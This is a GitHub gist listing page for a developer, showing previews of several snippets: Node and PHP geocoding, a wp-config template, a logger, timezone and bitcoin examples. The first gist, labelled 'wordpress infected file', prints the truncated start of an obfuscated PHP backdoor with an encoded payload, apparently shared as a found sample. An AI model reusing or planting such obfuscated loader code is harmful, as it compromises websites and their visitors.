Skip to content

Instantly share code, notes, and snippets.

View emersonbroga's full-sized avatar
:octocat:
Let's code!

Emerson Brôga emersonbroga

:octocat:
Let's code!
View GitHub Profile
@emersonbroga
emersonbroga / .523d666a
Last active August 9, 2020 21:44
wordpress infected file.
<?php
$_8nwch = basename/*zg*/(/*qc3l*/trim/*26m*/(/*yi4kg*/preg_replace/*h9*/(/*vu8d*/rawurldecode/*qsy2e*/(/*mw3*/"%2F%5C%28.%2A%24%2F"/*35e*/)/*2c*/, '', __FILE__/*f9l72*/)/*53o*//*2*/)/*ps*//*950b*/)/*etozv*/;$_nqi68c2 = "GS%12%1BERSP%08%40%0C%07G%09FFA%01W%5Bi%02A%07%17%0AVAmP%16SWB%04%0ENJF%24N8W%01P_X%04%06N%10%1B%5CPS%5E%3BUYX%15K%11%170MGWR%10S%16%11M%0EXJT%24u%5B%5D%0DiES%15%06N%06%1D%5CZ%40l%08YQ%11M%0E%276%23b%1C%09s%0DX_i%12K%1DKHBZUl%01DDY%13%5DNOO%1E%1C%09s%0DX_i%12K%1DKHCTJl%01NSU%14Z%00%0C%01qA%5B%5E%01%11%1A%16Q%07R%23%0A%5CG%5DA%3BDSF%0E%5C%1D%0A%01I%1D%02%1A_vES%15q%1D%0A%02Kj%5EZ%09_B%1EQ%07R%0A%09%06%14VV%02_XS%05%06K3%27~jw%7C%28%14%1F%1F%1AJ%0C%05%06%40P%1A%114~fi%24a%25AC%0E%17n%5DF%1F%0DK%08HIKNJPTZ%0ASR%1EFH%00%0F%0AqEGG%3BUYX%15K%07%17%1C%0E%12%1B%1A%1FRSP%08%40%0CKHH%5C%5EV%3BFCB%3EM%06%0D%1BK%5BF%40D%11%1A%16P%07RG%02_MVT%0DTB%16%5C%0ENPZK%07%07%01%01%01%1BRTL_N%5B%1BQ%0A%1E%05%01%06%0FLH%0C%07%5E%1BS%07%04S%06%04PF%15%0E%0F%00LT%5E%13%40%5BGN%05I%00%01%1B%15SG%5D%07B_Y%0F%0E%11%
const Parser = require('rss-parser');
const parseVolumeToInt = volume => {
const vol = volume.replace('+', '').replace(',', '');
return Number.parseInt(vol, 10);
};
async function getGoogleTrends(url) {
const parser = new Parser({
defaultRSS: 2.0,
function asyncLoop(iterations, func, callback) {
var index = 0;
var done = false;
var loop = {
next: function() {
if (done) {
return;
}
if (index < iterations) {
@emersonbroga
emersonbroga / latlng.php
Created May 4, 2012 18:46
Emerson Carvalho.com >> Pegar Coordenadas Geográficas à partir de um endereço (snippet 1)
<?php
$address = 'Praça Sete de Setembro - Belo Horizonte Minas Gerais ';
$lat = null;
$lng = null;
$request_url = 'http://maps.google.com/maps/geo?output=xml&q='.urlencode( $address );
$xml = simplexml_load_file($request_url) or die("url not loading");
$status = $xml->Response->Status->code;
if (strcmp($status, "200") == 0)
@emersonbroga
emersonbroga / wp-config.php
Last active April 3, 2019 19:29
Wordpress wp-config.php with several environment configurations.
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
@emersonbroga
emersonbroga / README.md
Created February 14, 2019 00:09
Front-end Javascript: Get a specific date/time from a defined Timezone.

#Front-end Timezone with javascript

Dependencies:

date-fns date-fns-timezone

##How to Run:

// bad
let name = 'Emerson Broga';
let hello = 'Hello ' + name;
// good
let name = 'Emerson Broga'
let hello = `Hello ${name}`;
@emersonbroga
emersonbroga / README.md
Last active November 25, 2018 14:43
Coordinates from adrress with NodeJs and Google Maps

Coordinates from adrress with NodeJs and Google Maps

How to run

npm install --save request
node coordinates.js
@emersonbroga
emersonbroga / README.md
Last active November 25, 2018 14:14
Bitcoin value with Javascript

Bitcoin Price

How to run

npm install --save request
node bitcoin-price.js
@emersonbroga
emersonbroga / logger.js
Created September 25, 2018 02:36
Simple JS Logger that logs to a TXT file.
const fs = require('fs');
const path = require('path');
const DEFAULT_PATH = './output/log.txt';
const getAbsolutePath = (filePath) => {
const absolutePath = path.resolve(filePath);
const fileExists = fs.existsSync(absolutePath);
if (!fileExists) {
throw new Error(`File doesn't exist: ${absolutePath}`);